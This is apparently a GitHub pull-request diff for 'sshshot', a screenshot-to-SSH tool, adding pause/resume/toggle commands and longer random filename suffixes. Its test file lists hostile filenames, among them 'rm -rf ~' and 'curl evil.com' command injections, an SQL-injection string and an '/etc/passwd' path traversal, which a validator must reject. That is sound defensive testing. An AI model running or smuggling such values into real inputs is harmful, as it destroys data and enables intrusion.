Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 17 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -110,10 +110,27 @@ sshshot stop stop the running daemon
sshshot status show running PID + target remote
sshshot target show current active target + available targets
sshshot target <name> switch active target without restarting the daemon
sshshot pause keep daemon alive but stop touching the clipboard
sshshot resume resume processing screenshots
sshshot toggle flip pause/resume in one command
sshshot config add/remove SSH remotes
sshshot uninstall stop daemon + remove ~/.config/sshshot
```

### Pausing without losing your target

When you want to take a screenshot for Slack/GitHub/iMessage and don't want sshshot replacing your clipboard with the remote path, **don't stop the daemon** — pause it:

```bash
sshshot pause # daemon stays alive, target stays selected, clipboard untouched
# … take your local screenshot, paste it wherever …
sshshot resume # back to processing screenshots into the remote
# or:
sshshot toggle # flips between the two
```

`sshshot status` shows `[paused]` next to the running PID so you know which mode you're in. This is intentionally lighter than `stop`/`start` — no process restart, no re-prompting for which remote, instant flip.

### Switching targets at runtime

If you have multiple remotes configured and want to change which one screenshots ship to without stopping/starting the daemon, use `sshshot target`:
Expand Down
7 changes: 7 additions & 0 deletions src/config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,13 @@ export interface Config {
// on its next poll cycle without restarting. Updated via `sshshot target <name>`.
// Set to "local" to save screenshots locally instead of uploading.
activeTarget?: string
// When true, the daemon stays alive but skips processing screenshots —
// clipboard isn't touched, no uploads happen. Toggled via
// `sshshot pause` / `sshshot resume` / `sshshot toggle`. Designed for the
// common "I want to take a screenshot for Slack/GitHub right now without
// sshshot stomping my clipboard" case so the user doesn't have to stop +
// restart + re-select target every time.
paused?: boolean
}

// Allowed character set for remote names: alphanumerics plus `.`, `_`, `-`,
Expand Down
60 changes: 58 additions & 2 deletions src/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -298,6 +298,9 @@ Commands:
stop Stop background process
status Show if running
target [<name>] Show or change the active target without restarting the daemon
pause Daemon stays alive but stops touching the clipboard
resume Resume processing screenshots
toggle Flip between pause/resume
config Modify configuration
uninstall Remove config and stop process
version Print version and exit
Expand Down Expand Up @@ -335,6 +338,39 @@ function setActiveTarget(name: string | undefined): void {
// and will switch on the next iteration. No restart needed.
}

// Pause/resume/toggle the running daemon without changing target or
// restarting the process. The daemon stays alive (so resume is instant);
// processNewImage early-returns while paused, leaving the user's
// clipboard untouched. Designed for the common "I want a screenshot for
// Slack right now, not for Claude Code" case.
function setPausedState(value: boolean): void {
const config = loadConfig()
if (!config) {
console.log("No configuration found. Run 'sshshot' first to set up remotes.")
process.exit(1)
}
if (Boolean(config.paused) === value) {
console.log(value ? 'Already paused' : 'Already active')
return
}
saveConfig({ ...config, paused: value })
if (value) {
console.log('Paused — sshshot will not touch your clipboard until resume')
console.log("Resume with: 'sshshot resume' or 'sshshot toggle'")
} else {
console.log('Resumed — sshshot is processing screenshots again')
}
}

function toggleActive(): void {
const config = loadConfig()
if (!config) {
console.log("No configuration found. Run 'sshshot' first to set up remotes.")
process.exit(1)
}
setPausedState(!config.paused)
}

function uninstall(): void {
// Stop any running process
const count = killAllSshshotProcesses()
Expand Down Expand Up @@ -369,11 +405,16 @@ function showStatus(): void {
return
}

// Surface the paused state on the same line — otherwise users wonder
// why screenshots aren't being processed even though `status` says
// "Running".
const pauseLabel = loadConfig()?.paused ? ' [paused]' : ''

for (const proc of processes) {
if (proc.target) {
console.log(`Running (PID: ${proc.pid}) -> ${proc.target}`)
console.log(`Running (PID: ${proc.pid}) -> ${proc.target}${pauseLabel}`)
} else {
console.log(`Running (PID: ${proc.pid})`)
console.log(`Running (PID: ${proc.pid})${pauseLabel}`)
}
}
}
Expand Down Expand Up @@ -495,6 +536,21 @@ async function main(): Promise<void> {
return
}

if (command === 'pause') {
setPausedState(true)
return
}

if (command === 'resume') {
setPausedState(false)
return
}

if (command === 'toggle') {
toggleActive()
return
}

if (command === 'config') {
await runConfig()
return
Expand Down
38 changes: 32 additions & 6 deletions src/monitor.ts
Original file line number Diff line number Diff line change
Expand Up @@ -409,15 +409,18 @@ export function getImageHash(buffer: Buffer): string {
}

export function generateFilename(): string {
// Include milliseconds + a 4-char random suffix so two screenshots taken
// in the same second don't collide on the remote (Cmd+Shift+3 spam,
// back-to-back paste from clipboard, etc). The previous one-per-second
// resolution silently overwrote earlier images.
// Include milliseconds + an 8-char random suffix so two screenshots taken
// in the same millisecond don't collide on the remote (Cmd+Shift+3 spam,
// back-to-back paste from clipboard, etc). 4 random bytes = 4.3B buckets;
// collision probability for 100 same-ms calls is ~10⁻⁶ — small enough
// for the test loop to be deterministic. (The original 4-char/65K-bucket
// version had a ~7% birthday-collision rate at 100 trials and produced
// a Node-24-only flake — see PR #22 / commit history.)
const now = new Date()
// toISOString() → 2026-05-01T12:34:56.789Z → slice off the trailing 'Z'
// and dot/colon-replace → 2026-05-01T12-34-56-789
const timestamp = now.toISOString().replace(/[:.]/g, '-').slice(0, 23)
const suffix = crypto.randomBytes(2).toString('hex') // 4 hex chars
const suffix = crypto.randomBytes(4).toString('hex') // 8 hex chars
return `screenshot-${timestamp}-${suffix}.png`
}

Expand All @@ -426,7 +429,7 @@ export function generateFilename(): string {
// today, but if generation ever changes (e.g. accepts user input), this
// guard keeps the shell-injection surface closed.
export const SAFE_REMOTE_FILENAME_RE =
/^screenshot-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}-\d{3}-[0-9a-f]{4}\.png$/
/^screenshot-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}-\d{3}-[0-9a-f]{8}\.png$/

function getLocalScreenshotDir(): string {
return path.join(os.homedir(), 'sshshot-screenshots')
Expand Down Expand Up @@ -652,11 +655,34 @@ async function copyToClipboard(text: string): Promise<boolean> {
return copyToClipboardX11(text)
}

// Module-level pause-state tracker so we log the transition once instead
// of on every paused screenshot. Updated by checkPaused() at the top of
// processNewImage. Initialized to false; the first paused poll logs
// "Paused — skipping…".
let lastSeenPausedState = false

function checkPaused(): boolean {
const paused = Boolean(loadConfig()?.paused)
if (paused !== lastSeenPausedState) {
log(
paused
? 'Paused — clipboard untouched until resume'
: 'Resumed — processing screenshots again'
)
lastSeenPausedState = paused
}
return paused
}

async function processNewImage(
imageBuffer: Buffer,
remote: string,
source: 'clipboard' | 'file'
): Promise<void> {
// Honor `sshshot pause` — daemon stays alive but skips processing so
// the user can take non-AI screenshots without `stop`/`start`+re-select.
if (checkPaused()) return

const filename = generateFilename()
const size = Math.round(imageBuffer.length / 1024)

Expand Down
19 changes: 11 additions & 8 deletions test/monitor-helpers.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -66,9 +66,9 @@ describe('generateFilename', () => {
}
})

it('produces strictly screenshot-<ISO-stamp>-<ms>-<rand4>.png shape', () => {
it('produces strictly screenshot-<ISO-stamp>-<ms>-<rand8>.png shape', () => {
const f = generateFilename()
expect(f).toMatch(/^screenshot-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}-\d{3}-[0-9a-f]{4}\.png$/)
expect(f).toMatch(/^screenshot-\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}-\d{3}-[0-9a-f]{8}\.png$/)
})

it('produces unique filenames for two calls in the same millisecond', () => {
Expand All @@ -88,23 +88,26 @@ describe('SAFE_REMOTE_FILENAME_RE', () => {
const dangerous = [
'screenshot-$(rm -rf ~).png',
'screenshot-`whoami`.png',
'screenshot-2026-05-01T12-00-00-000-abcd.png; rm -rf ~',
'screenshot-2026-05-01T12-00-00-000-abcd.png && curl evil.com',
'screenshot-2026-05-01T12-00-00-000-abcdef12.png; rm -rf ~',
'screenshot-2026-05-01T12-00-00-000-abcdef12.png && curl evil.com',
"screenshot-' OR 1=1 --.png",
'../../../etc/passwd',
'screenshot.png',
'screenshot-2026-05-01.png',
'screenshot-2026-05-01T12-00-00-000-ABCD.png', // upper hex rejected
'screenshot-2026-05-01T12-00-00.png', // old shape (no ms/suffix) rejected
'screenshot-2026-05-01T12-00-00-000-abcd.PNG'
'screenshot-2026-05-01T12-00-00-000-ABCDEF12.png', // upper hex rejected
'screenshot-2026-05-01T12-00-00-000-abcd.png', // old 4-char suffix rejected
'screenshot-2026-05-01T12-00-00.png', // pre-Round-H shape rejected
'screenshot-2026-05-01T12-00-00-000-abcdef12.PNG'
]
for (const f of dangerous) {
expect(SAFE_REMOTE_FILENAME_RE.test(f), f).toBe(false)
}
})

it('accepts the canonical generateFilename output', () => {
expect(SAFE_REMOTE_FILENAME_RE.test('screenshot-2026-05-01T12-34-56-789-abcd.png')).toBe(true)
expect(SAFE_REMOTE_FILENAME_RE.test('screenshot-2026-05-01T12-34-56-789-abcdef12.png')).toBe(
true
)
})
})

Expand Down
Loading